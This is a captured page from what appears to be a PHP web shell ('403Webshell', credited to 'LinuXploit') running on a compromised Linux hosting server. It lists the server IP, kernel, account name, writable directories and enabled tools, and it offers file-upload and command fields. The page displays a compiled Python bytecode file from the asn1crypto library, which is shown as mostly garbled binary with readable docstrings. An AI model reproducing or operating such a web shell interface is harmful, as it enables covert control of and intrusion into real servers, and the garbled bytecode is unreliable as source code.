403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.216.1.197
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3.6/site-packages/asn1crypto/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/asn1crypto/__pycache__/util.cpython-36.pyc
3

�ґX{F�
@sXdZddlmZmZmZmZddlZddlZddlmZm	Z	m
Z
ddlmZddl
mZmZddlmZdd	lmZejd
kr�ddlmZmZnddlmZmZejd#kr�dd
lmZmZdZd$dd�Zd%dd�ZGdd�de�ZGdd�d�Z n$ddlm Z dZd&dd�Zd'dd�Zddddddddddddd�Z!Gdd �d e"�Z#Gd!d"�d"e"�Z$dS)(a
Miscellaneous data helpers, including functions for converting integers to and
from bytes and UTC timezone. Exports the following items:

 - OrderedDict()
 - int_from_bytes()
 - int_to_bytes()
 - timezone.utc
 - inet_ntop()
 - inet_pton()
 - uri_to_iri()
 - iri_to_uri()
�)�unicode_literals�division�absolute_import�print_functionN)�datetime�date�time�)�unwrap)�
iri_to_uri�
uri_to_iri)�OrderedDict)�	type_nameZwin32)�	inet_ntop�	inet_pton�)�	timedelta�tzinfoTFcCs�d}|rJ|dkrJd}ttjtdt|��d�d�}|d|>d|>}d|}t|�d@rfd|}|jd	�}|r�|r�t|dd��d
@r�d|}|dk	r�|r�d
}nd}||t|�|}n$|r�t|dd��d
@dkr�d
|}|S)au
        Converts an integer to a byte string

        :param value:
            The integer to convert

        :param signed:
            If the byte string should be encoded using two's complement

        :param width:
            None == auto, otherwise an integer of the byte width for the return
            value

        :return:
            A byte string
        FrTz%xg@�r	�0�hex��N��)�int�math�ceil�len�abs�decode�ord)�value�signed�widthZis_neg�bitsZhex_str�outputZpad_char�r&�/usr/lib/python3.6/util.py�int_to_bytes)s&"
r(cCsT|dkrdSt|jd�d�}|s$|St|dd��d@rPt|�d}|d|>S|S)a
        Converts a byte string to an integer

        :param value:
            The byte string to convert

        :param signed:
            If the byte string should be interpreted using two's complement

        :return:
            An integer
        �rr�r	rr)Zlong�encoder r)r!r"ZnumZbit_lenr&r&r'�int_from_bytesVsr,c@s$eZdZdd�Zdd�Zdd�ZdS)�utccCsdS)Ns	UTC+00:00r&)�self�_r&r&r'�tznameusz
utc.tznamecCstd�S)Nr)r)r.r/r&r&r'�	utcoffsetxsz
utc.utcoffsetcCstd�S)Nr)r)r.r/r&r&r'�dst{szutc.dstN)�__name__�
__module__�__qualname__r0r1r2r&r&r&r'r-ssr-c@seZdZe�ZdS)�timezoneN)r3r4r5r-r&r&r&r'r6~sr6)r6cCsn|dkr^|rD|dkr&t|d�j�}n|j�}|ddkrL|d7}n|j�}tj|d�p\d}|j|d|d�S)au
        Converts an integer to a byte string

        :param value:
            The integer to convert

        :param signed:
            If the byte string should be encoded using two's complement

        :param width:
            None == auto, otherwise an integer of the byte width for the return
            value

        :return:
            A byte string
        Nrr	r�big)�	byteorderr")r�
bit_lengthrr�to_bytes)r!r"r#Z
bits_requiredr&r&r'r(�s
cCstj|d|d�S)a
        Converts a byte string to an integer

        :param value:
            The byte string to convert

        :param signed:
            If the byte string should be interpreted using two's complement

        :return:
            An integer
        r7)r")r�
from_bytes)r!r"r&r&r'r,�s���)r	�r����r�	�
��c@s�eZdZdZdZdZdZdd�Zdd�Zdd�Z	d	d
�Z
d#dd�Zd
d�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�ZdS)$�
extended_datez�
    A datetime.date-like object that can represent the year 0. This is just
    to handle 0000-01-01 found in some certificates.
    NcCsZ|dkrtd��|dks |dkr(td��|dks<|t|krDtd��||_||_||_dS)z�
        :param year:
            The integer 0

        :param month:
            An integer from 1 to 12

        :param day:
            An integer from 1 to 31
        rzyear must be 0r	rGzmonth is out of rangezday is out of rangeN)�
ValueError�_DAYS_PER_MONTH_YEAR_0�year�month�day)r.rKrLrMr&r&r'�__init__�szextended_date.__init__cCs�|jdd�}td|j|j�}d|krR|jd�}|jdd�}|jdd�}|jd|�}d|kr�|jd�}|jdd�}|jdd�}|jd|�}|j|�S)	z�
        Performs strftime(), always returning a unicode string

        :param format:
            A strftime() format string

        :return:
            A unicode string of the formatted date
        z%Y�0000i�z%c�2000�%z%%z%x)�replacerrLrM�strftime)r.�format�temp�c_out�x_outr&r&r'�_format�s

zextended_date._formatcCs
|jd�S)z�
        Formats the date as %Y-%m-%d

        :return:
            The date formatted to %Y-%m-%d as a unicode string in Python 3
            and a byte string in Python 2
        z
0000-%m-%d)rS)r.r&r&r'�	isoformats	zextended_date.isoformatcCs|j|�}tr|jd�S|S)z�
        Formats the date using strftime()

        :param format:
            The strftime() format string

        :return:
            The formatted date as a unicode string in Python 3 and a byte
            string in Python 2
        zutf-8)rX�py2r+)r.rTr%r&r&r'rSs

zextended_date.strftimecCsH|dkr|j}|dkr|j}|dkr*|j}|dkr8t}nt}||||�S)z�
        Returns a new datetime.date or asn1crypto.util.extended_date
        object with the specified components replaced

        :return:
            A datetime.date or asn1crypto.util.extended_date object
        Nr)rKrLrMrrH)r.rKrLrM�clsr&r&r'rR's	zextended_date.replacecCstr|j�S|j�SdS)N)rZ�	__bytes__�__unicode__)r.r&r&r'�__str__Bszextended_date.__str__cCs|j�jd�S)Nzutf-8)r]r+)r.r&r&r'r\Hszextended_date.__bytes__cCs
|jd�S)Nz%Y-%m-%d)rX)r.r&r&r'r]Kszextended_date.__unicode__cCst||j�sdS|j|�dkS)NFr)�
isinstance�	__class__�__cmp__)r.�otherr&r&r'�__eq__Nszextended_date.__eq__cCs|j|�S)N)rc)r.rbr&r&r'�__ne__Sszextended_date.__ne__cCsttdt|����dS)Nz�
            An asn1crypto.util.extended_date object can only be compared to
            an asn1crypto.util.extended_date or datetime.date object, not %s
            )�	TypeErrorr
r)r.rbr&r&r'�_comparison_errorVszextended_date._comparison_errorcCs`t|t�rdSt||j�s$|j|�|j|j|jf}|j|j|jf}||krPdS||kr\dSdS)Nr	r���rg)r_rr`rfrKrLrM)r.rb�st�otr&r&r'ra_s

zextended_date.__cmp__cCs|j|�dkS)Nr)ra)r.rbr&r&r'�__lt__wszextended_date.__lt__cCs|j|�dkS)Nr)ra)r.rbr&r&r'�__le__zszextended_date.__le__cCs|j|�dkS)Nr)ra)r.rbr&r&r'�__gt__}szextended_date.__gt__cCs|j|�dkS)Nr)ra)r.rbr&r&r'�__ge__�szextended_date.__ge__)NNN)r3r4r5�__doc__rKrLrMrNrXrYrSrRr^r\r]rcrdrfrarjrkrlrmr&r&r&r'rH�s(
	rHc@s�eZdZdZdZdZdZdZdZdZ	dZ
dZd/dd�Zdd�Z
dd	�Zd
d�Zdd
�Zdd�Zdd�Zd0dd�Zdd�Zd1dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Z dS)2�extended_datetimez�
    A datetime.datetime-like object that can represent the year 0. This is just
    to handle 0000-01-01 found in some certificates.
    Nrc		Cs�|dkrtd��|dks |dkr(td��|dks<|t|krDtd��|dksT|dkr\td��|dksl|d	krttd
��|dks�|d	kr�td��|dks�|dkr�td
��||_||_||_||_||_||_||_||_	dS)a�
        :param year:
            The integer 0

        :param month:
            An integer from 1 to 12

        :param day:
            An integer from 1 to 31

        :param hour:
            An integer from 0 to 23

        :param minute:
            An integer from 0 to 59

        :param second:
            An integer from 0 to 59

        :param microsecond:
            An integer from 0 to 999999
        rzyear must be 0r	rGzmonth is out of rangezday is out of range�zhour is out of range�;zminute is out of rangezsecond is out of rangei?Bzmicrosecond is out of rangeN)
rIrJrKrLrM�hour�minute�second�microsecondr)	r.rKrLrMrrrsrtrurr&r&r'rN�s,zextended_datetime.__init__cCst|j|j|j�S)zS
        :return:
            An asn1crypto.util.extended_date of the date
        )rHrKrLrM)r.r&r&r'r�szextended_datetime.datecCst|j|j|j|j|j�S)zI
        :return:
            A datetime.time object of the time
        )rrrrsrtrur)r.r&r&r'r�szextended_datetime.timecCs"|jdkrdS|jj|jdd��S)z\
        :return:
            None or a datetime.timedelta() of the offset from UTC
        Ni�)rK)rr1rR)r.r&r&r'r1�s
zextended_datetime.utcoffsetcCs"|jdkrdS|jj|jdd��S)zi
        :return:
            None or a datetime.timedelta() of the daylight savings time offset
        Ni�)rK)rr2rR)r.r&r&r'r2�s
zextended_datetime.dstcCs"|jdkrdS|jj|jdd��S)z�
        :return:
            None or the name of the timezone as a unicode string in Python 3
            and a byte string in Python 2
        Ni�)rK)rr0rR)r.r&r&r'r0�s
zextended_datetime.tznamec	Cs�|jdd�}td|j|j|j|j|j|j|j�}d|krf|j	d�}|jdd�}|jdd�}|jd|�}d|kr�|j	d�}|jdd�}|jdd�}|jd|�}|j	|�S)	z�
        Performs strftime(), always returning a unicode string

        :param format:
            A strftime() format string

        :return:
            A unicode string of the formatted datetime
        z%YrOi�z%crPrQz%%z%x)
rRrrLrMrrrsrtrurrS)r.rTrUrVrWr&r&r'rX�s*

zextended_datetime._format�TcCs&|jdkr|jd|�S|jd|�S)aj
        Formats the date as "%Y-%m-%d %H:%M:%S" with the sep param between the
        date and time portions

        :param set:
            A single character of the separator to place between the date and
            time

        :return:
            The formatted datetime as a unicode string in Python 3 and a byte
            string in Python 2
        rz0000-%%m-%%d%s%%H:%%M:%%Sz0000-%%m-%%d%s%%H:%%M:%%S.%%f)rurS)r.�sepr&r&r'rYs
zextended_datetime.isoformatcCs|j|�}tr|jd�S|S)z�
        Formats the date using strftime()

        :param format:
            The strftime() format string

        :return:
            The formatted date as a unicode string in Python 3 and a byte
            string in Python 2
        zutf-8)rXrZr+)r.rTr%r&r&r'rS1s

zextended_datetime.strftimec	
	Cs�|dkr|j}|dkr|j}|dkr*|j}|dkr8|j}|dkrF|j}|dkrT|j}|dkrb|j}|dkrp|j}|dkr~t}	nt	}	|	||||||||�S)z�
        Returns a new datetime.datetime or asn1crypto.util.extended_datetime
        object with the specified components replaced

        :return:
            A datetime.datetime or asn1crypto.util.extended_datetime object
        Nr)
rKrLrMrrrsrtrurrro)
r.rKrLrMrrrsrtrurr[r&r&r'rRBs8
zextended_datetime.replacecCstr|j�S|j�SdS)N)rZr\r])r.r&r&r'r^mszextended_datetime.__str__cCs|j�jd�S)Nzutf-8)r]r+)r.r&r&r'r\sszextended_datetime.__bytes__cCs d}|jdkr|d7}|j|�S)Nz%Y-%m-%d %H:%M:%Srz.%f)rurX)r.rTr&r&r'r]vs
zextended_datetime.__unicode__cCst||j�sdS|j|�dkS)NFr)r_r`ra)r.rbr&r&r'rc|szextended_datetime.__eq__cCs|j|�S)N)rc)r.rbr&r&r'rd�szextended_datetime.__ne__cCsttdt|����dS)z�
        Raises a TypeError about the other object not being suitable for
        comparison

        :param other:
            The object being compared to
        z�
            An asn1crypto.util.extended_datetime object can only be compared to
            an asn1crypto.util.extended_datetime or datetime.datetime object,
            not %s
            N)rer
r)r.rbr&r&r'rf�s	z#extended_datetime._comparison_errorcCs�|j�}|j�}|dk	r |dks0|dkr8|dk	r8td��t|t�rFdSt||j�s\|j|�|j|j|j|j	|j
|j|j|f}|j|j|j|j	|j
|j|j|f}||kr�dS||kr�dSdS)Nz5can't compare offset-naive and offset-aware datetimesr	rrgrg)
r1rer_rr`rfrKrLrMrrrsrtru)r.rbZsoZoorhrir&r&r'ra�s: 

zextended_datetime.__cmp__cCs|j|�dkS)Nr)ra)r.rbr&r&r'rj�szextended_datetime.__lt__cCs|j|�dkS)Nr)ra)r.rbr&r&r'rk�szextended_datetime.__le__cCs|j|�dkS)Nr)ra)r.rbr&r&r'rl�szextended_datetime.__gt__cCs|j|�dkS)Nr)ra)r.rbr&r&r'rm�szextended_datetime.__ge__)rrrrN)rv)NNNNNNNN)!r3r4r5rnrKrLrMrrrsrtrurrNrrr1r2r0rXrYrSrRr^r\r]rcrdrfrarjrkrlrmr&r&r&r'ro�s>
6

'

*(ro)r)FN)F)FN)F)%rnZ
__future__rrrrr�sysrrrZ_errorsr
Z_irirrZ_ordereddictr
Z_typesr�platformZ_inetrrZsocket�version_inforrrZr(r,r-r6rJ�objectrHror&r&r&r'�<module>sJ


-


;

Youez - 2016 - github.com/yon3zu
LinuXploit